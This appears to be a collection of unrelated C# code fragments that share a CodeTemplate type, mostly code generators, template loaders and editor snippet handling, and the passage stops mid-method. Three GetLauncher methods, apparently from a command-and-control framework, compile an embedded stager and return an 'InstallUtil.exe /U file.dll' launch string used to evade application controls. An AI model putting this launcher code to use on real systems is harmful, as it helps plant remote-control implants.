public async Task <QueryResponse> ExecuteQuery(QueryRequest input)
{
var newInput = _fragmentService.Fix(input.Text);
var contextResult = await _databaseContextService.GetDatabaseContext(input.ConnectionString, input.ServerType);
if (contextResult.Code != Api.StatusCode.Ok)
{
return(new QueryResponse {
Code = contextResult.Code, Message = contextResult.Message
});
}
var assmName = Guid.NewGuid().ToIdentifierWithPrefix("a");
var implName = Guid.NewGuid().ToIdentifierWithPrefix("UserCodeImpl");
var programSource = CodeTemplate
.Replace("##NS##", assmName)
.Replace("##SCHEMA##", "") // schema is linked
.Replace("##DB##", contextResult.Type.ToString())
.Replace("##IMPLNAME##", implName)
.Replace("##SOURCE##", newInput.Text);
var compileResult = _hostService.StartGenerated(input.Id, programSource, assmName, contextResult.Reference);
return(new QueryResponse
{
Id = Guid.NewGuid(),
Created = DateTime.Now,
Diagnostics = compileResult.Diagnostics,
Code = compileResult.Code
});
}
public async Task <TemplateResponse> GetTemplate(QueryRequest input)
{
var srcToken = "##SOURCE##";
var assmName = Guid.NewGuid().ToIdentifierWithPrefix("a");
var implName = Guid.NewGuid().ToIdentifierWithPrefix("UserCodeImpl");
var schemaResult = await _schemaService.GetSchemaSource(input.ConnectionString, input.ServerType, assmName, withUsings : false);
var schemaSrc = schemaResult.Schema;
var userText = input.Text ?? string.Empty;
LinePosition tokenPos;
var src = CodeTemplate
.Replace("##NS##", assmName)
.Replace("##DB##", "Proxy")
.Replace("##SCHEMA##", schemaSrc)
.Replace("##IMPLNAME##", implName)
.ReplaceToken(srcToken, userText, out tokenPos);
return(new TemplateResponse
{
Template = src,
Namespace = assmName,
LineOffset = tokenPos.Line,
ColumnOffset = tokenPos.Character,
DefaultQuery = string.Format("{0}.Take(100).Dump();{1}{1}", schemaResult.DefaultTable, Environment.NewLine)
});
}
private static async void Method11()
{
Console.WriteLine("请输入代码模板：");
string input = Console.ReadLine();
CodeProject project = null;
CodeTemplate template = null;
await _provider.ExecuteScopedWorkAsync(provider =>
{
IDataContract contract = provider.GetRequiredService <IDataContract>();
CodeProject[] projects = contract.GetCodeProject(m => true);
project = projects[0];
template = contract.CodeTemplates.FirstOrDefault(m => m.Name == input);
return(Task.CompletedTask);
});
if (template == null)
{
Console.WriteLine($"模板 {input} 不存在");
return;
}
ICodeGenerator generator = _provider.GetService <ICodeGenerator>();
//var model = project.Modules.First().Entities.First();
//var model = project.Modules.First();
var model = project;
CodeFile file = await generator.GenerateCode(template, model);
File.WriteAllText(@"D:\Temp\11.txt", file.SourceCode);
Console.WriteLine(file.SourceCode);
}
public static void Main()
{
string path = System.IO.Path.Combine(AppDomain.CurrentDomain.BaseDirectory, @"..\..\StoredProcedures.cst");
var engine = new TemplateEngine(new DefaultEngineHost(System.IO.Path.GetDirectoryName(path)));
CompileTemplateResult result = engine.Compile(path);
if (result.Errors.Count == 0)
{
var database = new DatabaseSchema(new SqlSchemaProvider(), @"Server=.;Database=PetShop;Integrated Security=True;");
TableSchema table = database.Tables["Inventory"];
CodeTemplate template = result.CreateTemplateInstance();
template.SetProperty("SourceTable", table);
template.SetProperty("IncludeDrop", false);
template.SetProperty("InsertPrefix", "Insert");
template.Render(Console.Out);
}
else
{
foreach (var error in result.Errors)
{
Console.Error.WriteLine(error.ToString());
}
}
Console.WriteLine("\r\nPress any key to continue.");
Console.ReadKey();
}
public static async Task <GenerateNode[]> ToGenerateNodesAsync(this CodeTemplate template, JObject request)
{
// Split Inputs
List <JObject> inputObjects = new List <JObject> {
new JObject()
};
if (template.Inputs != null && template.Inputs.Any())
{
foreach (var input in template.Inputs)
{
JToken jToken = request?.Property(input.Name, StringComparison.CurrentCultureIgnoreCase)?.Value;
List <JObject> tempInputObjects = new List <JObject>();
foreach (var inputObject in inputObjects)
{
if (input.IsSplit && jToken is JArray jArray)
{
foreach (JToken arrayToken in jArray)
{
var cloneInputObject = JObject.Parse(inputObject.ToString());
cloneInputObject.Add(input.Name, arrayToken);
tempInputObjects.Add(cloneInputObject);
}
}
else
{
inputObject.Add(input.Name, jToken);
tempInputObjects.Add(inputObject);
}
}
inputObjects = tempInputObjects;
}
}
List <GenerateNode> generateNodes = new List <GenerateNode>();
foreach (var inputObject in inputObjects)
{
// 依照 AdapterNodes 的設定, 生成 TransactionAdapter
List <CodeTemplate.TransactionTemplateNode> transactionTemplateNodes = new List <CodeTemplate.TransactionTemplateNode>();
foreach (var templateNode in template.TemplateNodes)
{
CodeTemplate.TransactionTemplateNode transactionTemplateNode = templateNode.JsonConvertTo <CodeTemplate.TransactionTemplateNode>();
transactionTemplateNodes.AddRange(await transactionTemplateNode.GenerateTransactionAdapter(inputObject));
}
// 依照 ParameterNodes 的設定, 生成可直接串接的 TransactionParameterNodes
foreach (CodeTemplate.TransactionTemplateNode transactionTemplateNode in transactionTemplateNodes)
{
await transactionTemplateNode.GenerateTransactionParameterNodes(inputObject);
}
// 將 TransactionTemplateNode 轉換成 GenerateNode
foreach (CodeTemplate.TransactionTemplateNode transactionTemplateNode in transactionTemplateNodes)
{
generateNodes.AddRange(await transactionTemplateNode.ToGenerateNodesAsync(inputObject));
}
}
return(generateNodes.ToArray());
}
private void GenerateAccessoryFile(string fileName, string templateFile, CslaObjectInfo objInfo, bool activeObjects, CslaGeneratorUnit unit)
{
// Create Inheritance file if it does not exist
if (!File.Exists(fileName)) //&& objInfo.ObjectType != CslaObjectType.NameValueList)
{
// string tPath = this._fullTemplatesPath + objInfo.OutputLanguage.ToString() + "\\InheritFromBase.cst";
string tPath = _fullTemplatesPath + objInfo.OutputLanguage + templateFile;
CodeTemplate template = GetTemplate(objInfo, tPath);
if (template != null)
{
template.SetProperty("ActiveObjects", activeObjects);
template.SetProperty("CurrentUnit", unit);
FileStream fs = File.Open(fileName, FileMode.Create);
OnGenerationFileName(fileName);
StreamWriter sw = new StreamWriter(fs);
try
{
template.Render(sw);
}
catch (Exception e)
{
ShowExceptionInformation(e);
}
finally
{
sw.Close();
}
}
}
}
public CodeResponse ExecuteCode(CodeRequest input)
{
var sw = new Stopwatch();
sw.Start();
var newInput = _fragmentService.Fix(input.Text);
var assmName = Guid.NewGuid().ToIdentifierWithPrefix("a");
var implName = Guid.NewGuid().ToIdentifierWithPrefix("UserCodeImpl");
var programSource = CodeTemplate
.Replace("##SOURCE##", newInput.Text)
.Replace("##NS##", assmName)
.Replace("##IMPLNAME##", implName);
var compileResult = _hostService.StartGenerated(input.Id, programSource, assmName);
return(new CodeResponse
{
Id = Guid.NewGuid(),
Created = DateTime.Now,
Diagnostics = compileResult.Diagnostics,
Code = compileResult.Code
});
}
public override void Update()
{
if (Session.FindObject <PersistentAssemblyInfo>(info => info.Name == DynamicAssemblyCalculatedField.AttributeRegistrator.MasterDetailDynamicAssembly) == null)
{
IPersistentAssemblyInfo persistentAssemblyInfo = new DynamicAssemblyBuilder(Session).Build(DynamicAssemblyCalculatedField.AttributeRegistrator.DMDCustomer, DMDOrder,
DMDOrderLine, DynamicAssemblyCalculatedField.AttributeRegistrator.MasterDetailDynamicAssembly);
IPersistentClassInfo persistentClassInfo =
persistentAssemblyInfo.PersistentClassInfos.Single(info => info.Name == DynamicAssemblyCalculatedField.AttributeRegistrator.DMDCustomer);
var persistentCoreTypeMemberInfo = new PersistentCoreTypeMemberInfo(persistentClassInfo.Session);
persistentCoreTypeMemberInfo.TypeAttributes.Add(new PersistentVisibleInDetailViewAttribute(persistentCoreTypeMemberInfo.Session));
persistentCoreTypeMemberInfo.TypeAttributes.Add(new PersistentVisibleInListViewAttribute(persistentCoreTypeMemberInfo.Session));
persistentCoreTypeMemberInfo.TypeAttributes.Add(new PersistentVisibleInLookupListViewAttribute(persistentCoreTypeMemberInfo.Session));
persistentCoreTypeMemberInfo.TypeAttributes.Add(new PersistentPersistentAliasAttribute(persistentCoreTypeMemberInfo.Session)
{
AliasExpression = "DMDOrders.Min(OrderDate)"
});
persistentCoreTypeMemberInfo.Name = "FirstOrderDate";
persistentCoreTypeMemberInfo.DataType = DBColumnType.DateTime;
var codeTemplateInfo = new CodeTemplateInfo(persistentCoreTypeMemberInfo.Session);
var codeTemplate = new CodeTemplate(codeTemplateInfo.Session)
{
TemplateType = TemplateType.XPCalculatedPropertyMember
};
codeTemplate.SetDefaults();
codeTemplate.Name = "CalculatedProperty";
codeTemplateInfo.TemplateInfo = codeTemplate;
persistentCoreTypeMemberInfo.CodeTemplateInfo = codeTemplateInfo;
persistentClassInfo.OwnMembers.Add(persistentCoreTypeMemberInfo);
XPObjectSpace.FindObjectSpaceByObject(persistentClassInfo).CommitChanges();
}
}
public void Test1()
{
string file = resourcesFilePath + "TemplateTest1.test";
CodeTemplate template = (new CodeTemplate(file)).ReadTemplate();
Assert.Equal(1, template.Root.ChildNodeList.Count);
}
public string GetTemplatePath(CodeTemplate template)
{
var coreProject = GetProject("Core");
var templatesPath = coreProject.GetPath("Templates");
return(System.IO.Path.Combine(templatesPath, template.TemplatePath));
}
public FunctionOpenResult <bool> UpdateCodeTemplateByID(CodeTemplate info)
{
var r = new FunctionOpenResult <bool>();
r.Data = CodeTemplateDal.Update(info) > 0;
return(r);
}
public FunctionResult <Solution> MakeCodeForDao(List <string> tables, CodeTemplate codeTemplate, string databaseConnection, String databaseName, String savePath, String modelSpacename = null)
{
var result = new FunctionResult <Solution>();
result.Data = new Solution()
{
SolutionPath = savePath
};
//返回数据模型
List <DatabaseTable> list = MariadbDao.GetTables(tables, databaseConnection, databaseName);
//生成代码
if (list != null)
{
list.ForEach(t =>
{
StringBuilder codeBuilder = new StringBuilder();
StringBuilder xmlBuilder = new StringBuilder();
if (codeTemplate.Language == CodeLanaguage.CSharp)
{
CreateCSharpDaoCode(t, codeBuilder, databaseName);
}
if (codeTemplate.Language == CodeLanaguage.Java)
{
CreateJavaDaoCode(t, codeBuilder, databaseName);
CreateMybatisXml(codeTemplate, t, xmlBuilder, databaseName, modelSpacename);
BuilderMybatisXmlFile(xmlBuilder, savePath, t.Name);
}
BuilderDaoCodeFile(codeTemplate, codeBuilder, savePath, t.Name);
});
}
return(result);
}
private string GenerateProcedure(CslaObjectInfo objInfo, Criteria crit, string templateName, string sprocName)
{
if (objInfo != null)
{
try
{
if (templateName != String.Empty)
{
string path = _templatesDirectory + @"sprocs\" + templateName;
CodeTemplate template = GetTemplate(objInfo, path);
if (crit != null)
{
template.SetProperty("Criteria", crit);
}
template.SetProperty("IncludeParentProperties", objInfo.DataSetLoadingScheme);
if (template != null)
{
using (StringWriter sw = new StringWriter())
{
template.Render(sw);
sprocSuccess++;
return(sw.ToString());
}
}
}
}
catch (Exception e)
{
sprocFailed++;
throw (new Exception("Error generating " + GetFileNameWithoutExtension(templateName) + ": " + sprocName, e));
}
}
return(String.Empty);
}
public override string GetLauncher(string StagerCode, byte[] StagerAssembly, Grunt grunt, ImplantTemplate template)
{
this.StagerCode = StagerCode;
this.Base64ILByteString = Convert.ToBase64String(StagerAssembly);
string code = CodeTemplate.Replace("{{GRUNT_IL_BYTE_STRING}}", this.Base64ILByteString);
List <Compiler.Reference> references = grunt.DotNetFrameworkVersion == Common.DotNetVersion.Net35 ? Common.DefaultNet35References : Common.DefaultNet40References;
references.Add(new Compiler.Reference
{
File = grunt.DotNetFrameworkVersion == Common.DotNetVersion.Net35 ? Common.CovenantAssemblyReferenceNet35Directory + "System.Configuration.Install.dll" :
Common.CovenantAssemblyReferenceNet40Directory + "System.Configuration.Install.dll",
Framework = grunt.DotNetFrameworkVersion,
Enabled = true
});
this.DiskCode = Convert.ToBase64String(Compiler.Compile(new Compiler.CompilationRequest
{
Language = template.Language,
Source = code,
TargetDotNetVersion = grunt.DotNetFrameworkVersion,
OutputKind = OutputKind.DynamicallyLinkedLibrary,
References = references
}));
this.LauncherString = "InstallUtil.exe" + " " + "/U" + " " + "file.dll";
return(this.LauncherString);
}
public void Resolve()
{
_c.Lines(2);
_c.HorizontalRule();
Console.WriteLine(@"** LOCATION CONFLICT (Select a location) **");
Console.WriteLine(Description);
_c.Line();
int count = 1;
int selectedTemplate = -1;
foreach (CodeTemplate template in ConflictedTemplates)
{
Console.WriteLine(count + @". " + template.Description + @" from " + template.ParentGuid + @"-" + template.Id);
Console.WriteLine(@" Location: "+ template.Category);
count++;
}
Console.Write(@"Your choice is: ");
selectedTemplate = Int32.Parse(Console.ReadKey().KeyChar.ToString());
while (selectedTemplate - 1 < 0 || selectedTemplate - 1 >= ConflictedTemplates.Count)
{
Console.WriteLine(@"Invalid Selection. Choose a template from the list above.");
selectedTemplate = Int32.Parse(Console.ReadKey().KeyChar.ToString());
}
ResolutionTemplate = ConflictedTemplates.ElementAt(selectedTemplate - 1);
}
private ExpansionTemplate Convert(CodeTemplate codeTemplate)
{
var codeSnippet = new CodeSnippet();
codeSnippet.Code = codeTemplate.Code;
codeSnippet.Description = codeTemplate.Description;
codeSnippet.Fields = new List <ExpansionField> ();
foreach (var variable in codeTemplate.Variables)
{
var field = new ExpansionField();
field.Editable = variable.IsEditable;
field.Function = ConvertFunctionName(variable.Function);
field.ToolTip = variable.ToolTip;
field.Default = variable.Default ?? "";
if ("GetConstructorModifier()" == variable.Function && string.IsNullOrEmpty(field.Default))
{
field.Default = "public ";
}
field.ID = variable.Name;
codeSnippet.Fields.Add(field);
}
codeSnippet.Language = codeTemplate.MimeType;
codeSnippet.Shortcut = codeTemplate.Shortcut;
codeSnippet.Title = codeTemplate.Shortcut;
return(new ExpansionTemplate(codeSnippet));
}
internal void InsertTemplate(CodeTemplate template, MonoDevelop.Ide.Editor.TextEditor editor, MonoDevelop.Ide.Editor.DocumentContext context)
{
using (var undo = editor.OpenUndoGroup()) {
var result = template.InsertTemplateContents(editor, context);
var links = result.TextLinks.Select(l => new Mono.TextEditor.TextLink(l.Name)
{
Links = l.Links.Select(s => (ISegment) new TextSegment(s.Offset, s.Length)).ToList(),
IsEditable = l.IsEditable,
IsIdentifier = l.IsIdentifier,
GetStringFunc = l.GetStringFunc != null ? (Func <Func <string, string>, Mono.TextEditor.PopupWindow.IListDataProvider <string> >)(arg => new ListDataProviderWrapper(l.GetStringFunc(arg))) : null
}).ToList();
var tle = new TextLinkEditMode(this, result.InsertPosition, links);
tle.TextLinkMode = TextLinkMode.General;
if (tle.ShouldStartTextLinkMode)
{
tle.OldMode = CurrentMode;
tle.StartMode();
CurrentMode = tle;
GLib.Timeout.Add(10, delegate {
tle.UpdateTextLinks();
return(false);
});
}
}
}
///--------------------------------------------------------------------------------
/// <summary>This method loads templates from a directory into the view model.</summary>
///
/// <param name="directory">The directory to load.</param>
/// <param name="refresh">Flag whether to refresh view.</param>
///--------------------------------------------------------------------------------
public void LoadTemplateDirectory(string directory, bool refresh = true)
{
if (!String.IsNullOrEmpty(directory) && Directory.Exists(directory))
{
foreach (string file in Directory.GetFiles(directory, "*.mpt"))
{
CodeTemplate template = new CodeTemplate();
template.TemplateID = Guid.NewGuid();
template.Solution = Solution;
template.FilePath = file;
template.LoadTemplateFileData();
Solution.CodeTemplates[template.TemplateKey] = template;
AddTemplate(new CodeTemplateViewModel(template, Solution), refresh);
}
foreach (string subDirectory in Directory.GetDirectories(directory))
{
LoadTemplateDirectory(subDirectory, refresh);
}
}
if (refresh == true)
{
Refresh(true);
}
}
/// <summary>
/// 根据模板名称得到模板
/// </summary>
/// <param name="TemplateName"></param>
/// <returns></returns>
public CodeTemplate GetCodeTemplate(string TemplateName)
{
CodeTemplateCompiler compiler = new CodeTemplateCompiler(this.CodeTemplateInfo.DirectoryName + TemplateName);
CodeTemplate template = null;
compiler.CodeTemplateInfo.ToString();
compiler.Compile();
if (compiler.Errors.Count == 0)
{
template = compiler.CreateInstance();
}
else
{
System.Text.StringBuilder errorMessage = new System.Text.StringBuilder();
for (int i = 0; i < compiler.Errors.Count; i++)
{
errorMessage.Append(compiler.Errors[i].ToString()).Append("\r\n");
}
throw new ApplicationException(errorMessage.ToString());
}
//复制属性
if (template != null)
{
CopyPropertiesTo(template);
}
return(template);
}
/// <summary>
/// 通用根据模板生成文件方法
/// </summary>
/// <param name="isRender"></param>
/// <param name="templatePath"></param>
/// <param name="directory"></param>
/// <param name="Tables"></param>
/// <param name="fileName"></param>
public void RenderToFileByTablesFixFileName(bool isRender, string templatePath, string directory, TableSchemaCollection Tables, string fileName = null)
{
if (isRender)
{
if (directory.IndexOf("{dbname}") >= 0)
{
directory = directory.Replace("{dbname}", Tables[0].Database.Name);
}
if (string.IsNullOrWhiteSpace(fileName))
{
fileName = Tables[0].Database.Name;
}
else
{
if (!string.IsNullOrWhiteSpace(fileName) && fileName.IndexOf("{dbname}") >= 0)
{
fileName = fileName.Replace("{dbname}", Tables[0].Database.Name);
}
}
if (!Directory.Exists(directory))
{
Directory.CreateDirectory(directory);
}
//载入子模板
CodeTemplate template = GetCodeTemplate(templatePath);
//CopyPropertiesTo(template);
template.SetProperty("Tables", Tables);
template.RenderToFile(directory + fileName, true);
Response.WriteLine(templatePath + "代码生成完毕！");
}
}
public static void RunTableTemplate(CodeTemplate Parent, TableSchema SourceTable, string Path, string Template, string Output, bool debug)
{
// admin datamodel
try
{
PreserveRegionsMergeStrategy strategy = new PreserveRegionsMergeStrategy("^[ \t]*(?i:Custom)", "C#");
CodeTemplate template = null;
if (!debug)
{
template = Parent.GetCodeTemplateInstance(Parent.CodeTemplateInfo.DirectoryName + Path + "\\" + Template);
}
else
{
template = CompileTemplate(Parent, Parent.CodeTemplateInfo.DirectoryName + Path + "\\" + Template);
}
if (template != null)
{
template.SetProperty("SourceTable", SourceTable);
template.RenderToFile(Parent.CodeTemplateInfo.DirectoryName + Path + "\\" + Output, strategy);
Parent.Response.WriteLine("File: " + Output + " Created Successfully");
}
else
{
Parent.Response.WriteLine("Template is null: " + Parent.CodeTemplateInfo.DirectoryName + Path + "\\" + Template);
}
}
catch (Exception ex)
{
Parent.Response.WriteLine("Template: " + Parent.CodeTemplateInfo.DirectoryName + Path + "\\" + Template);
Parent.Response.WriteLine("Error: " + ex.Message);
Parent.Response.WriteLine("StackTrace: " + ex.StackTrace);
}
}
public override string GetLauncher(Listener listener, Grunt grunt, HttpProfile profile)
{
this.StagerCode = listener.GetGruntStagerCode(grunt, profile);
this.Base64ILByteString = listener.CompileGruntStagerCode(grunt, profile, this.OutputKind, true);
string code = CodeTemplate.Replace("{{GRUNT_IL_BYTE_STRING}}", this.Base64ILByteString);
List <Compiler.Reference> references = grunt.DotNetFrameworkVersion == Common.DotNetVersion.Net35 ? Common.DefaultNet35References : Common.DefaultNet40References;
references.Add(new Compiler.Reference
{
File = "System.Configuration.Install.dll",
Framework = grunt.DotNetFrameworkVersion,
Enabled = true
});
this.DiskCode = Convert.ToBase64String(Compiler.Compile(new Compiler.CompilationRequest
{
Source = code,
TargetDotNetVersion = grunt.DotNetFrameworkVersion,
OutputKind = OutputKind.DynamicallyLinkedLibrary,
References = references
}));
this.LauncherString = "InstallUtil.exe" + " " + "/U" + " " + "file.dll";
return(this.LauncherString);
}
public FunctionResult <Solution> MakeCodeForService(List <string> tables, CodeTemplate codeTemplate, string databaseConnection, string databaseName, string savePath)
{
var result = new FunctionResult <Solution>();
result.Data = new Solution()
{
SolutionPath = savePath
};
//返回数据模型
List <DatabaseTable> list = MariadbDao.GetTables(tables, databaseConnection, databaseName);
//生成代码
if (list != null)
{
StringBuilder codeBuilder = null;
list.ForEach(t =>
{
if (codeTemplate.Language == CodeLanaguage.CSharp)
{
codeBuilder = CreateForCSharp(t);
}
else
{
codeBuilder = CreateForJava(t);
}
BuilderServiceFile(codeTemplate, codeBuilder, savePath, t.Name);
});
}
return(result);
}
public EACodeLanguage(string name, IPointerMaker pointerMaker, Tuple <string, List <Priority> >[][] pointerList, ICodeTemplateStorer codeStorer, StringComparer stringComparer)
{
this.name = name;
this.codeStorage = codeStorer;
foreach (ICodeTemplate codeTemplate1 in (IEnumerable <ICodeTemplate>)codeStorer)
{
CodeTemplate codeTemplate2 = codeTemplate1 as CodeTemplate;
if (codeTemplate2 != null)
{
codeTemplate2.PointerMaker = pointerMaker;
}
}
this.reservedWords = new List <string>()
{
offsetChanger,
alignOffset,
currentOffset,
messagePrinter,
errorPrinter,
warningPrinter,
pushOffset,
popOffset,
assertion,
protectCode
};
this.assembler = new EAExpressionAssembler(this.codeStorage, (IParser <Token, IExpression <int> >)null);
this.disassembler = new EACodeLanguageDisassembler(this.codeStorage, pointerMaker, pointerList);
}
void Init()
{
List <CodeTemplateGroup> groups = new List <CodeTemplateGroup>();
CodeTemplateGroup group = new CodeTemplateGroup();
group.TemplateGroupName = "Group Test 1";
CodeTemplate tmp = new CodeTemplate();
tmp.TemplateName = "Test";
var plainTextBytes = System.Text.Encoding.UTF8.GetBytes("echo heeloo");
tmp.TemplateCode = System.Convert.ToBase64String(plainTextBytes);
List <CodeTemplate> temps = new List <CodeTemplate>();
temps.Add(tmp);
group.CodeTemplateList = temps;
groups.Add(group);
string xml = Utility.Serializer.XML.Serialize(groups);
File.WriteAllText("CodeTemplates.XML", xml);
}
private void btnOke_Click(object sender, EventArgs e)
{
this.CodeTemplate = new CodeTemplate(txtTemplateName.Text, Utility.StringUtility.Base64Encode(txtCode.Text));
this.CodeTemplate.DefaultFilename = txtDefaultFilename.Text;
this.IsCanceled = false;
this.Close();
}
public static void RunTableTemplate(CodeTemplate Parent, TableSchema SourceTable, string Path, string Template, string Output, bool debug)
{
// admin datamodel
try
{
PreserveRegionsMergeStrategy strategy = new PreserveRegionsMergeStrategy("^[ \t]*(?i:Custom)", "C#");
CodeTemplate template = null;
if (!debug)
{
template = Parent.GetCodeTemplateInstance(Parent.CodeTemplateInfo.DirectoryName + Path + "\\" + Template);
}
else
{
template = CompileTemplate(Parent, Parent.CodeTemplateInfo.DirectoryName + Path + "\\" + Template);
}
if (template != null)
{
template.SetProperty("SourceTable", SourceTable);
template.RenderToFile(Parent.CodeTemplateInfo.DirectoryName + Path + "\\" + Output, strategy);
Parent.Response.WriteLine("File: " + Output + " Created Successfully");
}
else
{
Parent.Response.WriteLine("Template is null: " + Parent.CodeTemplateInfo.DirectoryName + Path + "\\" + Template);
}
}
catch (Exception ex)
{
Parent.Response.WriteLine("Template: " + Parent.CodeTemplateInfo.DirectoryName + Path + "\\" + Template);
Parent.Response.WriteLine("Error: " + ex.Message);
Parent.Response.WriteLine("StackTrace: " + ex.StackTrace);
}
}
/// <summary>
/// 生成数据仓库代码
/// </summary>
/// <param name="tables"></param>
/// <returns></returns>
public int GenerateBusinessRepositoryClasses(ViewSchemaCollection views)
{
if (views == null || views.Count <= 0)
{
return(0);
}
int tempIntTableNum = 0;
CodeTemplate BusinessRepositoryTemplate = GetCodeTemplate("ViewBusinessRepository.cst");
foreach (ViewSchema view in views)
{
BusinessRepositoryTemplate.SetProperty("TargetView", view);
BusinessRepositoryTemplate.SetProperty("CommonNamespace", CommonNamespace);
BusinessRepositoryTemplate.SetProperty("BusinessRepositoryNamespace", BusinessRepositoryNamespace);
BusinessRepositoryTemplate.SetProperty("EntityNamespace", EntityNamespace);
BusinessRepositoryTemplate.SetProperty("DBUtilityNamespace", DBUtilityNamespace);
BusinessRepositoryTemplate.SetProperty("CreatePerson", CreatePerson);
BusinessRepositoryTemplate.SetProperty("CompanyName", CompanyName);
BusinessRepositoryTemplate.SetProperty("BusinessRepositorySuffix", BusinessRepositorySuffix);
BusinessRepositoryTemplate.SetProperty("FileDesc", "表[" + view.Name + "]的 数据仓库代码");
string tempFilePath = string.Format(@"{0}{1}\{2}", this.OutputDirectory, BusinessRepositoryNamespace, BusinessRepositoryTemplate.GetFileName());
BusinessRepositoryTemplate.RenderToFile(tempFilePath, true);
WriteInfo("成功在路径[" + this.OutputDirectory + BusinessRepositoryNamespace + "] 生成 BusinessReposity 层代码文件：" + BusinessRepositoryTemplate.GetFileName() + "");
tempIntTableNum++;
}
WriteInfo("-----成功在路径[" + this.OutputDirectory + BusinessRepositoryNamespace + "] 生成：" + tempIntTableNum + " 个 BusinessReposity 层代码文件-----");
return(tempIntTableNum);
}
public override string GetLauncher(string StagerCode, byte[] StagerAssembly, Grunt grunt, ImplantTemplate template)
{
this.StagerCode = StagerCode;
this.Base64ILByteString = Convert.ToBase64String(StagerAssembly);
var code = CodeTemplate.Replace("{{GRUNT_IL_BYTE_STRING}}", this.Base64ILByteString);
var references = grunt.DotNetVersion == Common.DotNetVersion.Net35 ? Common.DefaultNet35References : Common.DefaultNet40References;
references.Add(new Compiler.Reference
{
File = grunt.DotNetVersion == Common.DotNetVersion.Net35 ? Common.CovenantAssemblyReferenceNet35Directory + "System.ServiceProcess.dll" : Common.CovenantAssemblyReferenceNet40Directory + "System.ServiceProcess.dll",
Framework = grunt.DotNetVersion,
Enabled = true
});
this.DiskCode = Convert.ToBase64String(Compiler.Compile(new Compiler.CsharpFrameworkCompilationRequest
{
Language = template.Language,
Source = code,
TargetDotNetVersion = grunt.DotNetVersion,
OutputKind = OutputKind.ConsoleApplication,
References = references
}));
this.LauncherString = string.Format("{0}{1}.exe", template.Name, "SVC");
return(this.LauncherString);
}
///--------------------------------------------------------------------------------
/// <summary>This method is used to copy/paste a new item.</summary>
///
/// <param name="copyItem">The item to copy/paste.</param>
/// <param name="savePaste">Flag to determine whether to save the results of the paste.</param>
///--------------------------------------------------------------------------------
public CodeTemplateViewModel PasteCodeTemplate(CodeTemplateViewModel copyItem, bool savePaste = true)
{
CodeTemplate newItem = new CodeTemplate();
newItem.ReverseInstance = new CodeTemplate();
newItem.TransformDataFromObject(copyItem.CodeTemplate, null, false);
newItem.TemplateID = Guid.NewGuid();
newItem.IsAutoUpdated = false;
newItem.Solution = Solution;
newItem.Solution = Solution;
CodeTemplateViewModel newView = new CodeTemplateViewModel(newItem, Solution);
newView.ResetModified(true);
AddCodeTemplate(newView);
// paste children
if (savePaste == true)
{
Solution.CodeTemplateList.Add(newItem);
newView.OnUpdated(this, null);
Solution.ResetModified(true);
}
return(newView);
}
private async Task UpgradeFileAsync(CodeTemplate template, object oldModel, object newModel, SolutionAccessor solution, IGenerationObject oldGenerationObject, IGenerationObject newGenerationObject)
{
var oldContent = ProcessTemplate(template, solution, oldModel);
var newContent = ProcessTemplate(template, solution, newModel);
var oldFilePath = GetTemplateFilePath(template, solution, oldGenerationObject);
var newFilePath = GetTemplateFilePath(template, solution, newGenerationObject);
if (!File.Exists(oldFilePath))
{
_logger.LogWarning($"File {oldFilePath} is not found. Skip upgrade");
return;
}
var oldFileContent = await ReadFileAsync(oldFilePath);
var newFileContent = _merge.Merge(oldContent, newContent, oldFileContent);
if (oldFilePath != newFilePath)
{
File.Delete(oldFilePath);
}
if (oldFileContent == newFileContent && oldFilePath == newFilePath)
{
return;
}
await WriteFileAsync(newFilePath, newFileContent);
}
public static CodeTemplate CompileTemplate(CodeTemplate parent, string template)
{
CodeTemplateCompiler compiler = new CodeTemplateCompiler(template);
compiler.Compile();
if (compiler.Errors.Count == 0)
{
return compiler.CreateInstance();
}
else
{
for (int i = 0; i < compiler.Errors.Count; i++)
{
parent.Response.WriteLine(compiler.Errors[i].ToString());
}
return null;
}
}
ICodeTemplate ParseCode(IList<LanguageElement> lines,
ICollection<string> usedLanguages, out Priority priority)
{
ParsedLine header = lines[0].ParsedLine;
priority = Priority.none;
bool canBeRepeated = false;
bool checkForProblems = true;
bool endingCode = false;
bool canBeDisAssembled = true;
bool canBeAssembled = true;
int indexMode = 1;
bool itemList = false;
byte endingByte = 0;
int offsetMod = 4;
#region Flags
foreach (string item in header.flags)
{
if (item.StartsWith("language") || item.StartsWith("game"))
{
string[] languagesS = item.Split(new char[] { ':' }, StringSplitOptions.RemoveEmptyEntries);
for (int i = 1; i < languagesS.Length; i++)
{
usedLanguages.Add(languagesS[i].Trim());
}
}
else if (item.StartsWith("priority"))
{
int index = item.IndexOf(':');
string priorityS = item.Substring(index + 1);
if (Enum.GetNames(typeof(Priority)).Contains(priorityS))
{
priority = (Priority)Enum.Parse(typeof(Priority), priorityS);
}
else
{
throw new FormatException("Error in enum priority: " + item);
}
}
else if (item.StartsWith("repeatable"))
{
canBeRepeated = true;
}
else if (item.StartsWith("unsafe"))
{
checkForProblems = false;
}
else if (item.StartsWith("end"))
{
endingCode = true;
}
else if (item.StartsWith("noDisassembly"))
{
canBeDisAssembled = false;
}
else if (item.StartsWith("noAssembly"))
{
canBeAssembled = false;
}
else if (item.StartsWith("indexMode"))
{
int index = item.IndexOf(':');
string indexModeS = item.Substring(index + 1);
indexMode = int.Parse(indexModeS);
}
else if (item.StartsWith("terminatingList"))
{
int index = item.IndexOf(':');
string endingByteS = item.Substring(index + 1);
endingByte = (byte)int.Parse(endingByteS);
itemList = true;
}
else if (item.StartsWith("offsetMod"))
{
int index = item.IndexOf(':');
string offsetModeS = item.Substring(index + 1);
offsetMod = (byte)int.Parse(offsetModeS);
}
else
{
throw new FormatException("Unknown option " +
item + " in parameter " + header.name);
}
}
#endregion
//if (priority == Priority.none && header.number1 == 0)
//{
// throw new Exception("ID has to be non-zero for default priority.");
//}
header.number2 = header.number2 * indexMode;
List<TemplateParameter> parameters = new List<TemplateParameter>();
for (int i = 1; i < lines.Count; i++)
{
ParsedLine line = lines[i].ParsedLine;
line.number1 *= indexMode;
line.number2 *= indexMode;
TemplateParameter param = ParsedLine.ParseParameter(line);
parameters.Add(param);
}
ICodeTemplate code;
if (itemList)
{
code = new TerminatingStringTemplate(header.name, parameters, endingByte, offsetMod);
}
else
{
code = new CodeTemplate(header.name, header.number1, header.number2, parameters, canBeRepeated, checkForProblems, endingCode, offsetMod, canBeAssembled, canBeDisAssembled);
}
return code;
}
private static void WriteDoc(TextWriter writer, CodeTemplate code)
{
writer.Write(code.Name);
writer.Write(' ');
foreach (var parameter in code)
{
if (parameter.MaxDimensions > 1)
{
writer.Write('[');
